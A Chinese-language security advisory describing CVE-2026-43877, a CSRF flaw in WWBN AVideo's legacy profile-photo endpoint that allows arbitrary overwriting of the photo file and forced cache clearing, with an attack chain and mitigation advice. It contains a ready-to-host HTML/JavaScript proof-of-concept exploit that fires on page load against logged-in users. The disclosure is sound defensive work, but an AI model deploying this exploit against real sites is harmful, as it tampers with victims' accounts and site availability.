IPBUF安全漏洞报告
English
CVE-2026-43877 CVSS 5.4 中危

CVE-2026-43877: WWBN AVideo 跨站请求伪造(CSRF)漏洞导致任意文件覆写

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43877
漏洞类型
CSRF (Cross-Site Request Forgery)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

CSRFWWBN AVideoArbitrary File WriteCWE-352

漏洞概述

WWBN AVideo是一个开源视频平台。在29.0及更低版本中,存在一个跨站请求伪造(CSRF)漏洞。该漏洞位于旧的个人资料照片端点`objects/userSavePhoto.php`中。由于该文件未包含在全局自动CSRF保护范围内(仅以`.json.php`结尾的文件受保护),且缺乏CSRF令牌验证和来源检查,加上默认Cookie策略为`SameSite=None`,攻击者可以诱导已登录用户访问恶意页面。这将导致攻击者能够利用用户的身份覆写个人资料照片为任意字节,并在每次伪造请求时触发站点范围的`clearCache(true)`操作,可能造成数据篡改或服务拒绝。

技术细节

该漏洞的核心原因在于`objects/userSavePhoto.php`端点缺乏有效的CSRF防御机制。具体来说,该文件接受一个名为`base64`的POST参数,将其解码并写入到`videos/userPhoto/photo<users_id>.png`路径。虽然该端点检查了`User::isLogged()`以确保请求来自已认证会话,但它被排除在项目的全局`autoCSRFGuard`机制之外,因为该机制仅应用于后缀为`.json.php`的文件。此外,代码中缺少CSRF令牌验证,也未验证HTTP头中的Origin或Referer字段。由于AVideo在HTTPS环境下的默认Cookie策略设置为`SameSite=None; Secure`,浏览器不会阻止跨站点请求携带这些敏感Cookie。因此,攻击者可以构造恶意的HTML页面,当受害者访问该页面时,浏览器会自动发送带有有效会话Cookie的POST请求到AVideo服务器。服务器误认为这是用户本人的合法操作,从而执行写入任意文件的操作。这不仅允许攻击者更改用户头像(可能利用图像解析漏洞进行XSS攻击),还强制执行了`clearCache(true)`,可能影响系统性能或可用性。

攻击链分析

STEP 1
侦查
攻击者识别出目标正在使用WWBN AVideo 29.0或更早版本,并确认其启用了用户功能。
STEP 2
武器化
攻击者构造一个恶意的HTML页面,其中包含向`objects/userSavePhoto.php`发送POST请求的JavaScript代码,载荷为Base64编码的任意数据。
STEP 3
投递
攻击者通过钓鱼邮件、社交媒体或其他方式诱导目标用户点击访问该恶意页面。
STEP 4
利用
当已登录的受害者浏览器加载恶意页面时,由于`SameSite=None` Cookie策略,浏览器自动携带受害者的会话Cookie向AVideo服务器发送请求。
STEP 5
执行与影响
服务器接收请求,认为是用户合法操作,将解码后的数据写入`videos/userPhoto/photo<id>.png`,覆写用户头像,并执行`clearCache(true)`。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-43877 --> <!-- This HTML demonstrates the CSRF vulnerability. --> <!-- Host this on a different domain and trick a logged-in user to visit it. --> <!DOCTYPE html> <html> <head> <title>CSRF PoC</title> </head> <body> <h1>AVideo CSRF Exploit</h1> <p>If you are logged into AVideo, your profile photo will be overwritten.</p> <script> function exploit() { // Base64 string representing a 1x1 red pixel PNG // This can be replaced with arbitrary bytes, potentially malicious scripts if the context allows var payload = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="; var formData = new FormData(); formData.append('base64', payload); fetch('http://target-avideo-site/objects/userSavePhoto.php', { method: 'POST', body: formData, credentials: 'include', // Ensures cookies are sent with the request mode: 'cors' }) .then(response => response.text()) .then(data => console.log('Response:', data)) .catch(error => console.error('Error:', error)); } // Execute automatically on page load window.onload = exploit; </script> </body> </html>

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截指向`objects/userSavePhoto.php`的外部来源POST请求。同时,可以通过修改服务器配置,严格限制该接口的访问来源,或者暂时禁用该旧版头像上传功能,直到完成升级。

参考链接